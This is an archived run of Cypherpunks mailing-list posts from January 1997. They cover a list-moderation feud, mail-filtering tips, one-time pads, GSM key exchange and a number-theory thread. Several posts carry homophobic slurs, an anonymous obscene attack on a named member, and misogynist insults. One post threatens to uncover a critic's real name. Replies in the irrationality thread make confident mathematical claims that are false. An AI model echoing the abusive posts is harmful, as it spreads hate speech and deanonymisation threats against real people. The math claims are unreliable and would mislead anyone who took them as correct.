>    > > >people will have to be filtered.
>    > 
>    > > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
>    > > like Jason Durbin will continue to post personal attacks on Gilmore's
>    > > many "enemies", but the victims of the libel will not be able to respond
>    > > and refute their lies. The concept of "the best response to speech you
>    > > don't like is more speech" is totally alien to the homosexual subculture
>    > > on the Internet. These control freaks are into censorship and B&D.
>    > 
>    > Here's a problem.  I don't have "technical" capabilities in the area of
>    > communications software, and I have too full a plate to start studying
>    > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
>    > allow people to attack others, then cut the responses.
>    > 
>    > If he does this, and he doesn't rectify it when it's called to his
>    > attention, he would need to be punished in some way.  One of the
>    > questions I have is, how do I know what's cut when all I subscribe to
>    > is the uncensored list?  I do *not* want to subscribe to the filtered
>    > list plus the "flames" list, out of principle.  Is this something that
>    > would be forced on me/us in order to monitor the censorship?
>    > 
>    > In other words, can I separate the censored email without having to
>    > have two accounts?
>    > 
> 
>    it is easy undex unix, what you have to do is store arriving article
>    in separate directories by message ID and run diff (with certain
>    corrections) on these two directories.
> 
>    diff will print you the files that are in one dir and not in another.
> 
>    take an extraction, and delete too new articles (so that propagation
>    does not screw you up).
> 
>    thats it
> 
> If you just want the differences and aren't too concerned with
> timeliness, I'm planning on running a cypherpunks-rejects list containing all
> the messages that went out the unedited list but didn't show up on the
> moderated one within x hours (not sure what x should be yet).
> 

Then you must use two separate addresses to do that right.
And you may want them to both be UNIX or at least the same OS
at each location, so you can write some batch programs to
save you the manual wwork.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 19 Jan 1997 06:10:42 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <199701190526.XAA00327@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970119090855.7506J-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Igor Chudov @ home wrote:

> Bryan Reece wrote:
> > 
> >    Dale Thorn wrote:
> >    > 
> >    > Dr.Dimitri Vulis KOTM wrote:
> >    > > Someone wrote to me:
> >    > > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
> >    > > >write what the fuck they like but straight or intelligent or NORMAL
> >    > > >people will have to be filtered.
> >    > 
> >    > > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
> >    > > like Jason Durbin will continue to post personal attacks on Gilmore's
> >    > > many "enemies", but the victims of the libel will not be able to respond
> >    > > and refute their lies. The concept of "the best response to speech you
> >    > > don't like is more speech" is totally alien to the homosexual subculture
> >    > > on the Internet. These control freaks are into censorship and B&D.
> >    > 
> >    > Here's a problem.  I don't have "technical" capabilities in the area of
> >    > communications software, and I have too full a plate to start studying
> >    > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
> >    > allow people to attack others, then cut the responses.
> >    > 
> >    > If he does this, and he doesn't rectify it when it's called to his
> >    > attention, he would need to be punished in some way.  One of the
> >    > questions I have is, how do I know what's cut when all I subscribe to
> >    > is the uncensored list?  I do *not* want to subscribe to the filtered
> >    > list plus the "flames" list, out of principle.  Is this something that
> >    > would be forced on me/us in order to monitor the censorship?
> >    > 
> >    > In other words, can I separate the censored email without having to
> >    > have two accounts?
> >    > 
> > 
> >    it is easy undex unix, what you have to do is store arriving article
> >    in separate directories by message ID and run diff (with certain
> >    corrections) on these two directories.
> > 
> >    diff will print you the files that are in one dir and not in another.
> > 
> >    take an extraction, and delete too new articles (so that propagation
> >    does not screw you up).
> > 
> >    thats it
> > 
> > If you just want the differences and aren't too concerned with
> > timeliness, I'm planning on running a cypherpunks-rejects list containing all
> > the messages that went out the unedited list but didn't show up on the
> > moderated one within x hours (not sure what x should be yet).
> > 
> 
> a lot, since moderators sleep, eat, go to movies, etc.
> 
> 	- Igor.
> 

But x should be no more than 24.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 09:29:24 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Sandy and the Doc
In-Reply-To: <Pine.SUN.3.91.970119011900.13146D-100000@crl13.crl.com>
Message-ID: <32E259C9.7B20@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sat, 18 Jan 1997, Dale Thorn wrote:
> > Do we now have to have occasional assurances that the "unedited" list
> > is not being restrained?  I thought that was a given, beyond question
> > of any kind.  I thought *all* of the controversy revolved around the
> > edited/censored list (having stole the original list's name), and that
> > everyone understood that the uncensored list was untouchable.  But now
> > Sandy is taken to offering reassurances.  What's next??

> Dale, don't be such an ass.  If "everyone understood that the
> uncensored (sic) list was untouchable" then why have you and
> others continued to challenge that proposition.  You have put
> forward the classic heads-I-win-tails-you-lose logical fallacy.
> If I say nothing to support the proposition you whine about a
> "hidden agenda."  If I reaffirm my commitment to the plan, you
> spout pop psychological nonsense of the "the lady doth protest
> too much variety."  Which is it, Dale?  You are so transparent.

Your/Gilmore's *renaming* of the original list, and co-opting of the
*original* name for the edited list is prima facie evidence of bad
faith, i.e., a transparent attempt to fool the public into accepting
that the edited list is the *real, original* list, despite the dis-
claimer put forth in the introduction to the new plan (a paragraph
that few will read, and much fewer will remember).

I'll make you a deal, even though I hold no *real* cards.  Set the
original name back to the original, unedited list, and vice-versa,
and I'll back off of all these complaints, assuming that you don't
try something else that impinges on the integrity of the original list.

As far as hidden agendas go, the flip side of that coin is that I'm
expected to believe that Gilmore is the Mother Teresa of the Internet,
or something like that.  Personally, I don't care what scam you or he
could possibly (hypothetically) be involved in, as long as it doesn't
impinge on certain essential liberties and truths, in a way that
offends me.  If you insist that what you and he are doing is totally
non-profit, has nothing to do with government grants or spying, etc.,
and is purely a personal hobby-type pursuit, well, I don't really
believe in the Easter Bunny, and please forgive me for not believing
this one.  Note that I'm not attacking you purely because I'm alleging
(hypothetically) that you have an ulterior motive for the work you're
doing on cypherpunks, I'm merely pointing out reasonable speculations
which could account for what's happening here.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 19 Jan 1997 06:50:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: INV_ade
Message-ID: <1.5.4.32.19970119144516.006792bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


1-19-97. NYP:

"At the New Frontier of Eavesdropping." Markoff.

  Many phone companies are now rushing to introduce new
  digital services that provide better sound quality. But
  when security standards were set for the new systems five
  years ago, technical experts from the Government
  discouraged the phone companies from building in coding
  systems that would be difficult to break. Moreover, the
  phone companies themselves decided that real privacy was
  not a major issue. "Time to market turned out to be more 
  important than real security," said John Gilmore.

  Indeed, in recent weeks the supposedly secret formula for
  scrambling digital wireless phone calls was posted to an
  Internet mailing list. That virtually insures that hackers
  will soon create a way to modify scanners like the one the
  Martins used, making digital calls just as vulnerable as
  analog calls are today. "There's a period in which privacy 
  prevails over surveillance, but it's never for very long."

-----

INV_ade





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 19 Jan 1997 10:10:56 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E259C9.7B20@gte.net>
Message-ID: <Pine.SUN.3.91.970119094124.16633B-100000@crl9.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 19 Jan 1997, Dale Thorn wrote:

> Your/Gilmore's *renaming* of the original list, and co-opting of the
> *original* name for the edited list is prima facie evidence of bad
> faith,...

Sophist, paranoid nonsense.  This one-month test is of a 
moderated *Cypherpunks* list.  So there was no renaming.
The unedited list was a gimme for cry babies such as Dale.  
When the test is complete, things will go back to the previous
status if that's what folks want.  If not, Cypherpunks will 
continue as a moderated list (of some sort, further test may be
conducted if list members want). 

> i.e., a transparent attempt to fool the public...

(a) If it were transparent, it wouldn't fool anyone, now would it?
(b) I've stated it all clear enough so that only the most naive
    persons could infer an attempt to fool anyone.
(c) "The public" has nothing to do with it.  This is a private list.
 
> I'll make you a deal, even though I hold no *real* cards.  Set the
> original name back to the original, unedited list, and vice-versa,
> and I'll back off of all these complaints, assuming that you don't
> try something else that impinges on the integrity of the original list.

Maybe after the test if that's what folks want.  In the meantime,
hey Dale, knock yourself out.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 08:46:59 -0800 (PST)
To: aga@dhp.com (aga)
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <Pine.LNX.3.95.970119090855.7506J-100000@dhp.com>
Message-ID: <199701191643.KAA03069@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


aga wrote:
> On Sat, 18 Jan 1997, Igor Chudov @ home wrote:
> > Bryan Reece wrote:
> > > 
> > >    Dale Thorn wrote:
> > > 
> > > If you just want the differences and aren't too concerned with
> > > timeliness, I'm planning on running a cypherpunks-rejects list containing all
> > > the messages that went out the unedited list but didn't show up on the
> > > moderated one within x hours (not sure what x should be yet).
> > > 
> > 
> > a lot, since moderators sleep, eat, go to movies, etc.
> > 
> > 	- Igor.
> > 
> 
> But x should be no more than 24.
> 

Yeah, 24 is a good ballpark figure.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 08:51:10 -0800 (PST)
To: aga@dhp.com (aga)
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <Pine.LNX.3.95.970119090506.7506I-100000@dhp.com>
Message-ID: <199701191645.KAA03106@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Prof. aga wrote:
> 
> On 19 Jan 1997, Bryan Reece wrote:
> >    it is easy undex unix, what you have to do is store arriving article
> >    in separate directories by message ID and run diff (with certain
> >    corrections) on these two directories.
> > 
> >    diff will print you the files that are in one dir and not in another.
> > 
> >    take an extraction, and delete too new articles (so that propagation
> >    does not screw you up).
> > 
> >    thats it
> > 
> > If you just want the differences and aren't too concerned with
> > timeliness, I'm planning on running a cypherpunks-rejects list containing all
> > the messages that went out the unedited list but didn't show up on the
> > moderated one within x hours (not sure what x should be yet).
> > 
> 
> Then you must use two separate addresses to do that right.
> And you may want them to both be UNIX or at least the same OS
> at each location, so you can write some batch programs to
> save you the manual wwork.
> 

No, one address is enough. You can look at a Unix tool called procmail,
which allows filtering of incoming messages. For example, you could
completely insulate yourself from, say, follower of clawed albino.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 19 Jan 1997 08:00:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <Pine.SOL.3.93.970118233859.4391A-100000@pegasus.montclair.edu>
Message-ID: <kDcs1D62w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > >
> > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > >
> > > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > >
> > > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > > I say we make people fly naked and ship their stuff via UPS ;
> > > > > >
> > > > > > > >     >>shudder<<
> > > > > > > >     No!. A clear case of the cure being worse than the disease.
> > > > > >
> > > > > > > Why. it might be fun - those long flight can be so boring with cl
> > > > > >
> > > > > > This one I really don't understand.  Cypherpunks lobbied heavily fo
> > > > > > the Final Solution to Spamming and flaming, now along comes the per
> > > > > > solution to the airport security problem, and nobody's gonna go for
> > > > > >
> > > > > > Guess those old, out-of-shape guys don't want anybody laughing at t
> > > > > > Besides, they can put all the clothes in the same plane's baggage
> > > > > > compartment.  And planes have those little blankets and pillows,
> > > > > > so what's the problem?
> > > > >
> > > > > 	Cold temps...
> > > >
> > > > What can naked people do to keep warm???
> > >
> > > 	steal blankets from nearby passenger..
> >
> > I once saw a movie where they had a heroin (or cocaine?) processing lab
> > and everybody was supposed to work naked so it would be hard to steal
> > some of the product. Of course in the movie all the employees were good-
> > looking women (Oksas would have been the big star!).
>
> 	Thank you for the complement;  You've only seen me with clothes :)

I can tell.

> 	Would you like to share my blanket?

Sure!  A true gentleman (like me) is always ready, willing, and able to share
a security blanket with a lady.

"Something nekkid's in the air!"

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Jan 1997 09:05:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: .1234567891011... is irrational?
Message-ID: <199701191701.LAA32650@einstein>
MIME-Version: 1.0
Content-Type: text



Hmmm,

irrational means "not expressible as the ratio of two integers" and
since the class of integers (I) includes the concept of infinity,


.123456789101112131415  =    1234567891011121314...
                            ------------------------
                                      n

where n -> infinity

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Sun, 19 Jan 1997 09:25:11 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <s4cR1D45w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970119111944.9833A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> > > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > > can't figure out Majordomo or their mailers, and so on and so forth.
> > >
> > > Not sure about "all", but someone whose name sounds like AIDS, and who
> > > advocates censorship, most likely is one.
> >
> > Non sequitor.
>             ^
> Do "cypher punks" use lousy spelling as a kind of "poor fag's crypto"?

<sarcasm> (For those too stupid to see it except when explicitly denoted)

Ah, very strong response indeed. I feel as if shot down in flames, and my
mind aches from the slice of your wit. Deliver us, oh Vulis, for we are in
need!

</sarcasm>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 19 Jan 1997 11:38:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STEGO] Sphere packings
Message-ID: <199701191938.LAA32285@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. May will fuck anything that moves, but he'd rather be fucking 
his own mother's dead body.

         \|/
        (*,*) Tim C. May
       _m_-_m_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Jan 1997 09:45:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Igor@home = Secret Squirrel
Message-ID: <199701191752.LAA00157@einstein>
MIME-Version: 1.0
Content-Type: text



Hi all,

I am motivated to post this, something I would normaly not do, because of
the issue of trust of moderators that has arisen lately.

Igor and myself were in a discussion about number theory last nite. We
reached a point of impass. Igor made the suggestion that we bring the
discussion to cpunks. I requested that we drop the issue and specificaly not
bring it to cpunks. My reasoning had several facets. First, the position that
I was in is probably wrong. My motivation was to examine the methodology of
dis-proof (which I was disappointed with). Also, it is not a serious issue
with me and whether my particular view is right or wrong is irrelevant.
Cypherpunks is not the place for truly technical discussions (as is apparent
with even a cursory glance). Traffic on this list practicaly drowns my
ability to filter it and more drivel I (and probably you) don't need. And
finaly, the discussion was fine for a Saturday afternoon discussion, I don't
have the interest or time to carry it out over days or weeks, I have to work
for a living.

Igor agreed to drop the issue and not to bring it to the list. However, this
morning I find Secret Squirrel posting some questions which are taken
practicaly verbatin from my exchange w/ Igor. Seemed like a truly improbable
event.

Take it for what it's worth.

"An appeal to authority is an appeal to a human being just like yourself
 who does not have your best interests at heart. What makes you believe
 they are able to resolve your problems better than yourself?"


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: i.am.not.a.number@best.com
Date: Sun, 19 Jan 1997 11:44:57 -0800 (PST)
To: AaronH4321@aol.com
Subject: Re: One time pads and randomness?
Message-ID: <3.0.32.19970119115207.006b11d4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


as i have writ before, the sources i have read say that 
digits of the transcendentals are THOUGHT to be uniformly
and 'randomly' distributed --- in quotes because there are
many criteria for randomness and i don't mean to imply a 
specific one.  however, this supposision is no stronger
than a conjecture.  has not been proven, AFAIK.

At 02:06 PM 1/18/97 -0600, Igor Chudov @ home wrote:
>By the way, did anyone try to run "all randomness tests" on a sequence
>of digits of, say, decimal representation of "e"?
>
>igor
>
>Blake Coverett wrote:
>> 
>> > I want to use a one time pad pased crypto system. I understand that the
>> > randomness of the pad genorator is key to security(other than lossing the
>> > keys). What I want to know is if I use a psuedo-RNG that maybe repeats
its
>> > self every 1000 characters and use it to only encrypt messagase that are
>> > 100's of charaters long, will this be a major security risk? 
>> 
>> I'm afraid you've fallen into one of the standard traps.  A PRNG can *not*
>> make a OTP no matter how you use it.  
>> 
>> The total amount of entropy in a PRNG is the amount of entropy in the seed 
>> you use to key it.  All the other bits are directly derived from that seed.
>> 
>> A true OTP is completely secure from an information-theory point of view
>> because every byte has a full eight bits of entropy.  A PRNG can never
>> have this.
>> 
>> Having said all this, it is possible to make a good cipher from a PRNG.
>> RC4, for example, is exactly that and the variable sized key is the
>> seed for the PRNG.  It is however very difficult to come up with a
>> good algorithm for that cryptographically sound PRNG and you would
>> be much further ahead to use an existing one rather that trying to
>> roll your own.
>> 
>> > Say I create a 1 million character one time pad that passes all of the
>> > randomness tests. It is "truely random". I place it on two computers. Now
>> > when these two computers want to send email computer "A" grabs a chunk
of the
>> > one time pad  starting at a random point and encrypts it. It labels
the email
>> > with the random starting point and sends it to "B". There "B" moves to
the
>> > random point and begins decryption. During to process both computers mark
>> > that section of the OTP used so that they don't retransmit with it. I
realize
>> > this has a limited amount of messages before it is used up. But would
this be
>> > secure? Any suggestions, complaints, big gapping holes I missed? 
>> 
>> I don't see anything wrong as such, but there is nothing to be gained
either.
>> If your random data is real OTP material there is no need to skip to a
random
>> byte within it, just start at the beginning and use it in sequence.  If
your random
>> data is the output of a PRNG like the above then random starting point
doesn't
>> buy you much additional security because the entire set of keying
material can
>> be recreated from the seed.  It may increase the work-factor of
searching for
>> the key, but it also imposes the practical problem of keeping all that
keying
>> material secure.
>> 
>> More importantly don't confuse statistically random with cryptographically
>> random.  Just because a bunch of bits passes all the randomness test
>> you can think of doesn't mean it contains 100% entropy.  Consider the
>> digits of an irrational number like sqrt(2) or pi, the digits appear
statistically
>> random but they can be recreated from just a tiny bit of knowledge.
>> 
>> A good litmus test is to ask yourself if there is any way you can
>> reproduce those bits.  If there is, they aren't a one time pad.
>> (Of course even if you can't it doesn't mean they are good. :-)
>> 
>> regards,
>> -Blake
>> 
>
>
>
>	- Igor.
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: i.am.not.a.number@best.com
Date: Sun, 19 Jan 1997 11:44:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Wow.
Message-ID: <3.0.32.19970119115857.006aeea4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


i have no doubt that a certain amount of the noise on this list is
the work of agents provocateurs ... and we should just live with
it because its entire intent is a certain kind of denial-of-service
attack.

just ket used to taking extra time and using the delete function a lot.
there's still a lot on the list you don't get elsewhere.

ah..... if i only had my natural lang. agent running!

At 12:58 AM 1/19/97 -0500, Amanda Walker wrote:
>Well, in the week or two since resubscribing to Cypherpunks, I've seen a
>trickle of postings about cryptography, security, and privacy, and a flood
>of insults, harangues, fighting words, and so on.  Some of this reads more
>like a script from a Jerry Falwell TV spot than anything I recognize as
>"Cypherpunk" traffic.
>
>I don't care who's offended whom.  I'm not interested in participating in a
>forum where the supposed topic is submerged underneath a lot of adolescent
>alpha primate chest-beating.
>
>I'm off to look for a mailing list where people are ACTUALLY DISCUSSING
>CRYPTOGRAPHY AND IMPLEMENTING CRYPTOSYSTEMS.  This list may still be
>called "cypherpunks", but it doesn't have much cypherpunk left in it, as
>far as I can tell.
>
>Disgusted,
>
>Amanda Walker
>Senior Software Engineer
>InterCon Systems Corporation
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sir Robin of Locksley <tozser@stolaf.edu>
Date: Sun, 19 Jan 1997 10:21:07 -0800 (PST)
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
Message-ID: <199701191820.MAA24006@nic.stolaf.edu>
MIME-Version: 1.0
Content-Type: text/plain


 -----BEGIN PGP SIGNED MESSAGE-----

>Dear Cypher Punks,
 >
 >I BEG YOU TO HELP ME!!!
 >
 >Is it possible to prove that number 0.1234567891011121314151617181920...
 >iz irrational? 
 
Most definately. All you need to do is prove that the set of this number is
uncountable, ergo is irrational. If you have friend who have done math in real
analysis they can explain more.

>
 >Or may be it is rational?
 >
 >Also, another question for math geniuses here: 
 >
 >Is it REALLY true that there are real numbers that cannot be generated
 >by any algorithm? Some guy said that since the set of algorithms is
 >countable, but the set of real numbers is more than countable, there 
 >must be some numbers for which there is no algorithms that generate them.
 
If you show me an algorythm that calculates the real number TT (=3.14.....)
I'll give you a Nobel Prize personally!

>
 >But I still do not believe him.
 >
 >Also, is it true that the sequence of digits in e is random because the ONLY
way to get to the
 >p'th digit is to calculate the p-1'st digits?
 >
Exactly! This is called recursive definition. To get the p-th set in the
sequence you need to find p-1 first...

>Also, is it the correct definition of a real number: 
 >
 >``A real number is the class of numbers which can represent the length of
 >an arbitrary line.''
 
Well, that is not entirely true... The length of any arbitrary line can be any
number, rational, natural, etc. Real numbers are the numbers that defy all
other categorization (they are not rational, irrational, natural, etc.) They
are complex and despite any instinctual perception, there are a lot of them!
 
I don't know if these maed a lot of sense but all of these questions are
answered in a good Elementary Real Analysis book.

>
 >
 >I AM REAL DESPERATE FOR YOUR ASS ISTANCE.

Sincerely,

Gabe
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 ---------------------------------------------------
|    Gabor K. Tozser     |  1500 St. Olaf Ave.      |
|     St. Olaf College   |  Northfield, MN 55057    |
 ---------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 19 Jan 1997 09:53:18 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: the clawed albino follower cunt
In-Reply-To: <199701191645.KAA03106@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970119124725.17248B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 19 Jan 1997, Igor Chudov @ home wrote:

> Prof. aga wrote:
> > 
> > On 19 Jan 1997, Bryan Reece wrote:
> > >    it is easy undex unix, what you have to do is store arriving article
> > >    in separate directories by message ID and run diff (with certain
> > >    corrections) on these two directories.
> > > 
> > >    diff will print you the files that are in one dir and not in another.
> > > 
> > >    take an extraction, and delete too new articles (so that propagation
> > >    does not screw you up).
> > > 
> > >    thats it
> > > 
> > > If you just want the differences and aren't too concerned with
> > > timeliness, I'm planning on running a cypherpunks-rejects list containing all
> > > the messages that went out the unedited list but didn't show up on the
> > > moderated one within x hours (not sure what x should be yet).
> > > 
> > 
> > Then you must use two separate addresses to do that right.
> > And you may want them to both be UNIX or at least the same OS
> > at each location, so you can write some batch programs to
> > save you the manual wwork.
> > 
> 
> No, one address is enough. You can look at a Unix tool called procmail,
> which allows filtering of incoming messages. For example, you could
> completely insulate yourself from, say, follower of clawed albino.
> 
> 	- Igor.
> 

But I am not the one who needs insulated.  I have a nice ISP who
does not get intimidated, but there are a dozen other guys out there
who the bitch has tried to eliminate access for in the past couple of
years, so the bitch is about to get exposed.

I have people working who will find out the real name of that cunt 
in the near future.  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 19 Jan 1997 13:44:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: KeyKOS related system lecture at Stanford
Message-ID: <v03007806af083d674236@[204.31.235.152]>
MIME-Version: 1.0
Content-Type: text/plain


I received the following from Jonathan.  Those of you who are interested in
KeyKOS should know that his system, EROS, is an architectural descendent of
KeyKOS.

---------------------------------------------
Date: Sun, 19 Jan 1997 15:13:11 -0500
From: "Jonathan S. Shapiro" <shap@eros.cis.upenn.edu>
To: ...
Subject: Talk info NOTE TIME CORRECTION

I'll be giving a talk on Wednesday at Stanford in the EE380 seminar.
Details on the seminar can be found at

	http://www-leland.stanford.edu/class/ee380/

under 'winter 1996'.

The location and time are:

	Wednesday at 4:15pm
	Hewlett Packard Auditorium (Room B1)
	Gates Computer Science Building
	Stanford Univeristy

The basic structure of the talk will be:

	explain what active networking means, and why confinement and
		fault isolation are required.
		(the problem)

	identify the properties needed for confinement and fault
		isolation proofs, what capabilities are, and why
		non-capability systems do not have these properties
		(why we need them)

	describe the objects named in EROS/KeyKOS, and why these are
		the right choices for high performance
		(how to get performance)

	show how this system might be used to construct an active
		networking router or endpoint.
		(how to use them for this problem)

I'm still working on the talk, so the order may get rearranged.

Hope to some or all of you there.


Jonathan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 19 Jan 1997 11:12:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL (fwd)
Message-ID: <199701191919.NAA00377@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Sun, 19 Jan 1997 12:20:45 -0600
> From: Sir Robin of Locksley <tozser@stolaf.edu>

>  >Is it possible to prove that number 0.1234567891011121314151617181920...
>  >iz irrational? 
>  
> Most definately. All you need to do is prove that the set of this number is
> uncountable, ergo is irrational. If you have friend who have done math in real
> analysis they can explain more.

irrational means 'not expressible as the ratio of two integers', this does
not imply uncountable.

Whether 0.12345678910111213... is irrational or not depends on how we choose
to define a rational number where the denominator and numerator are both
approaching infinity and how quickly those approaches occur.

[ What is your definition of infinity/infinity ?]

As alluded to before,

  0.12345678910111213    =    12345678910111213.... / n 

  (where n = infinity)
 
0.123456789101112... is certainly countable because by the definition of
countable it must be 1-to-1 with the counting numbers (ie non-negative
integers), which this one clearly is since it contains each positive
non-zero integer (ie the set of numbers required to produce the number are
clearly less, 1 less to be exact, than the counting numbers).

> If you show me an algorythm that calculates the real number TT (=3.14.....)
> I'll give you a Nobel Prize personally!

c=2pi*r

so,

pi = c/2r

You have a algorithm (ie recipe) for determining pi to whatever degree of
precision you are willing to go to. If you insist on using a digital
computer (whose domain of operation is limited to rationals by defintion)
then you are doomed to fail. However, move to analog computers (eg a
compass) and it can be quite easy to calculate, though not easy to plug into
an equation.

> Well, that is not entirely true... The length of any arbitrary line can be any
> number, rational, natural, etc. Real numbers are the numbers that defy all
> other categorization (they are not rational, irrational, natural, etc.) They
> are complex and despite any instinctual perception, there are a lot of them!

Complex numbers are not a member of the Reals, rather the Reals are a
sub-set of the Complex.

[ I recognize this is not what you meant but,

"The slovenliness of our language makes it easier to have foolish thoughts."

                                              George Orwell                ]


VNR Concise Encyclopedia of Mathematics, 15th ed.
ISBN 0-442-22646-2
pp. 74

"If every segment is to have a numerical measure as its length, then a new
domain of numbers is needed, an extension to the domain of rational numbers.
This new domain can no longer be constructed, as in the previous case, by
number pairs. But hints for its construction are provided by a theoretical
analysis of the measuring process for segments."

A mathematicaly rigorous defintion of the class of numbers called 'Real'
is that which equates the members of that set to the possible lengths of an
arbitrary line segment.


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 19 Jan 1997 13:44:49 -0800 (PST)
To: Adam Back <paul@fatmans.demon.co.uk
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <853575672.913148.0@fatmans.demon.co.uk>
Message-ID: <v03007808af0842c7858c@[204.31.235.152]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:39 AM -0800 1/16/97, Adam Back wrote:
>- PIN for phone's RSA signature keys

It is not clear you need signatures in the secure phone case.  Eric
Blossom's 3DES uses straight DH for key exchange with verbal verification
that both ends are using the same key.  As long as the man in the middle
can't imitate a familiar voice, this procedure is reasonably secure.

I agree that signatures of some kind are needed to identify the phone to
the cell company to prevent an all too familiar technique of stealing phone
service.  But this protection would not be a 3rd party cell phone upgrade.


-------------------------------------------------------------------------
